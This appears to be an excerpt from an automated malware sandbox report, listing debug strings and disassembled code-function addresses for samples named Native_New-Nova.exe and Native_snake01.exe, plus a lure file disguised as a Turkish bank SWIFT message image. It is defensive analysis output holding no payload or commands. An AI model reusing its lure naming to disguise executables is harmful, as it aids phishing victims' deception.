              Source: Binary string: _.pdb source: Native_New-Nova.exe, 00000009.00000002.2953521524.0000000002261000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2963089780.00000000035D1000.00000004.00000800.00020000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000002.2954150757.00000000023E0000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000009.00000003.1730790993.0000000000599000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2969436130.0000000004930000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 0000000A.00000003.1732371805.0000000000768000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 0000000A.00000002.2953656770.0000000002100000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2951469963.0000000002101000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2964034510.0000000004A80000.00000004.08000000.00040000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000003.1775462812.000000000059F000.00000004.00000020.00020000.00000000.sdmp, Native_New-Nova.exe, 00000010.00000002.2962477768.0000000003421000.00000004.00000800.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2954940699.00000000021E0000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1780357181.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1776206771.0000000000680000.00000004.00000020.00020000.00000000.sdmp, Native_snake01.exe, 00000011.00000002.2969063278.00000000049C0000.00000004.08000000.00040000.00000000.sdmp, Native_snake01.exe, 00000011.00000003.1780044363.00000000006C8000.00000004.00000020.00020000.00000000.sdmp
              Source: Binary string: Irgg.pdbSHA256 source: Ziraat_Bankasi_Swift_Messaji.png.exe, BZTCUCKTKd.exe.0.dr
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h9_2_0200E228
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 04B593DAh9_2_04B58FA8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 04B58C81h9_2_04B589D0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 04B593DAh9_2_04B59307
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF5185h9_2_05DF4E48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFF878h9_2_05DFF5D0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF4841h9_2_05DF4598
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF7848h9_2_05DF75A0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFEFC8h9_2_05DFED20
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF6F98h9_2_05DF6CF0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF3F91h9_2_05DF3CE8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF66E8h9_2_05DF6440
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFE718h9_2_05DFE470
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF5CCAh9_2_05DF5C18
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF5CCAh9_2_05DF5C20
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFDA10h9_2_05DFD768
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF7CA0h9_2_05DF79F8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF4C99h9_2_05DF49F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF73F0h9_2_05DF7148
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF43E9h9_2_05DF4140
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFF420h9_2_05DFF178
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFEB70h9_2_05DFE8C8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF6B40h9_2_05DF6898
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF3B39h9_2_05DF3890
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFE2C0h9_2_05DFE018
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFDE68h9_2_05DFDBC0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFFCD0h9_2_05DFFA28
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E751ADh9_2_05E74FD0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E75B37h9_2_05E74FD0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E73840h9_2_05E73598
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h9_2_05E744D1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E70740h9_2_05E70498
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E726E0h9_2_05E72438
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov esp, ebp9_2_05E787C0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E719D8h9_2_05E71730
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E7144Ah9_2_05E711A0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E733E8h9_2_05E73140
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E702E8h9_2_05E70040
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E70FF0h9_2_05E70D48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E72F90h9_2_05E72CE8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h9_2_05E74CF3
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E72288h9_2_05E71FE0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E740F0h9_2_05E73E48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E73C98h9_2_05E739F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E70B98h9_2_05E708F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E72B38h9_2_05E72890
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E71E30h9_2_05E71B88
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h9_2_05E74B13
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov ecx, dword ptr [ebp-38h]9_2_06181684
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov ecx, dword ptr [ebp-38h]9_2_061852E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0221F9C0h10_2_0221FA0F
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0221F9C0h10_2_0221FA81
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0221F9C0h10_2_0221F820
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then mov ecx, 000003E8h10_2_061CFE70
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061C2D5Ch10_2_061C2AA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061C3326h10_2_061C2F08
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CD09Ch10_2_061CCDF0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061C3326h10_2_061C3254
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CD4F4h10_2_061CD248
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h10_2_061C0676
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then mov ecx, 000003E8h10_2_061CFE60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CD94Ch10_2_061CD6A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CDDA4h10_2_061CDAF8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061C0D10h10_2_061C0B30
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061C16FBh10_2_061C0B30
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CE1FCh10_2_061CDF50
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CE654h10_2_061CE3A8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CEAACh10_2_061CE800
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CEF04h10_2_061CEC58
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h10_2_061C0856
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h10_2_061C0040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CF35Ch10_2_061CF0B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CF7B4h10_2_061CF508
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 061CFC0Ch10_2_061CF960
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B96F3h10_2_063B9420
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B712Ch10_2_063B6E80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B8320h10_2_063B7FE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B62E4h10_2_063B6038
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BCCF9h10_2_063BCA28
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BFAE9h10_2_063BF818
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B32B4h10_2_063B3008
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BBF31h10_2_063BBC60
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B370Ch10_2_063B3460
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B1CFCh10_2_063B1A50
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BED21h10_2_063BEA50
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B02ECh10_2_063B0040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B3B64h10_2_063B38B8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B2154h10_2_063B1EA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B0744h10_2_063B0498
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B673Ch10_2_063B6490
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BDF59h10_2_063BDC88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B4D2Ch10_2_063B4A80
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BC3C9h10_2_063BC0F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B0B9Ch10_2_063B08F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B6B96h10_2_063B68E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BF1B9h10_2_063BEEE8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B7584h10_2_063B72D8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B5184h10_2_063B4ED8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BD191h10_2_063BCEC0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B55DCh10_2_063B5330
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B79DCh10_2_063B7730
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then mov esp, ebp10_2_063BB52A
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BE3F1h10_2_063BE120
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B25ACh10_2_063B2300
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B2A04h10_2_063B2758
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BD629h10_2_063BD358
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B0FF4h10_2_063B0D48
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BE889h10_2_063BE5B8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B2E5Ch10_2_063B2BB0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B144Ch10_2_063B11A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BC861h10_2_063BC590
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B7E34h10_2_063B7B88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B5A34h10_2_063B5788
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BF651h10_2_063BF380
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B18A4h10_2_063B15F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BDAC1h10_2_063BD7F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063B5E8Ch10_2_063B5BE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 063BBA99h10_2_063BB7C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064247B9h10_2_064244E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06426EB3h10_2_06426BB8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06420311h10_2_06420040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06424321h10_2_06424050
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642A34Bh10_2_0642A050
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642F95Bh10_2_0642F660
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06422312h10_2_06422068
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06428B63h10_2_06428868
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06426349h10_2_06426078
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642E173h10_2_0642DE78
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642EB03h10_2_0642E808
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064210D9h10_2_06420E08
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06427D0Bh10_2_06427A10
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064250EAh10_2_06424E18
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642D31Bh10_2_0642D020
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642BB33h10_2_0642B838
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06422791h10_2_064224C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064299BBh10_2_064296C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642EFCBh10_2_0642ECD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064207A9h10_2_064204D8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064281D3h10_2_06427ED8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642D7E3h10_2_0642D4E8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642737Bh10_2_06427080
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06423559h10_2_06423288
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642C98Bh10_2_0642C690
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06421571h10_2_064212A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642B1A3h10_2_0642AEA8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06425581h10_2_064252B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642E63Bh10_2_0642E340
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06425A19h10_2_06425748
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06427843h10_2_06427548
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06422C29h10_2_06422958
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642CE53h10_2_0642CB58
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642B66Bh10_2_0642B370
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06420C41h10_2_06420970
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642BFFBh10_2_0642BD00
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06426882h10_2_06426510
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642A813h10_2_0642A518
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064239F1h10_2_06423720
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642902Bh10_2_06428D30
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06421A09h10_2_06421738
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642C4C3h10_2_0642C1C8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06421EA1h10_2_06421BD0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06425EB1h10_2_06425BE0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642ACDBh10_2_0642A9E0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064230C1h10_2_06422DF0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064294F3h10_2_064291F8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06424C51h10_2_06424980
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06429E83h10_2_06429B88
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642F493h10_2_0642F198
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642869Bh10_2_064283A0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0642DCABh10_2_0642D9B0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06423E89h10_2_06423BB8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06462983h10_2_06462688
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 0646033Bh10_2_06460040
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06461B2Bh10_2_06461830
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06461FF3h10_2_06461CF8
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06461194h10_2_06460E98
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06461663h10_2_06461368
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06460803h10_2_06460508
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 064624BBh10_2_064621C0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then jmp 06460CCBh10_2_064609D0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_064A51F0
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_064A51DF
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_064A1D48
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then lea esp, dword ptr [ebp-04h]10_2_064A1D47
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then push 00000000h10_2_06F32738
              Source: C:\Users\user\AppData\Local\Temp\Native_snake01.exeCode function: 4x nop then push 00000000h10_2_06F31199
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-20h], 00000000h16_2_0224E228
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 051B93DAh16_2_051B8FA8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 051B8C81h16_2_051B89D0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 051B93DAh16_2_051B9307
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF5185h16_2_05DF4E48
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFF878h16_2_05DFF5D0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF4841h16_2_05DF4598
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF7848h16_2_05DF75A0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFEFC8h16_2_05DFED20
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF6F98h16_2_05DF6CF0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF3F91h16_2_05DF3CE8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF66E8h16_2_05DF6440
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFE718h16_2_05DFE470
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF5CCAh16_2_05DF5C18
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF5CCAh16_2_05DF5C20
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFDA10h16_2_05DFD768
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF7CA0h16_2_05DF79F8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF4C99h16_2_05DF49F0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF73F0h16_2_05DF7148
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF43E9h16_2_05DF4140
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFF420h16_2_05DFF178
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFEB70h16_2_05DFE8C8
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF6B40h16_2_05DF6898
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DF3B39h16_2_05DF3890
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFE2C0h16_2_05DFE018
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFDE68h16_2_05DFDBC0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05DFFCD0h16_2_05DFFA28
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E751ADh16_2_05E74FD0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E75B37h16_2_05E74FD0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E73840h16_2_05E73598
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov dword ptr [ebp-14h], 00000000h16_2_05E744D1
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E70740h16_2_05E70498
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E726E0h16_2_05E72438
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then mov esp, ebp16_2_05E787C0
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E719D8h16_2_05E71730
              Source: C:\Users\user\AppData\Local\Temp\Native_New-Nova.exeCode function: 4x nop then jmp 05E7144Ah16_2_05E711A0
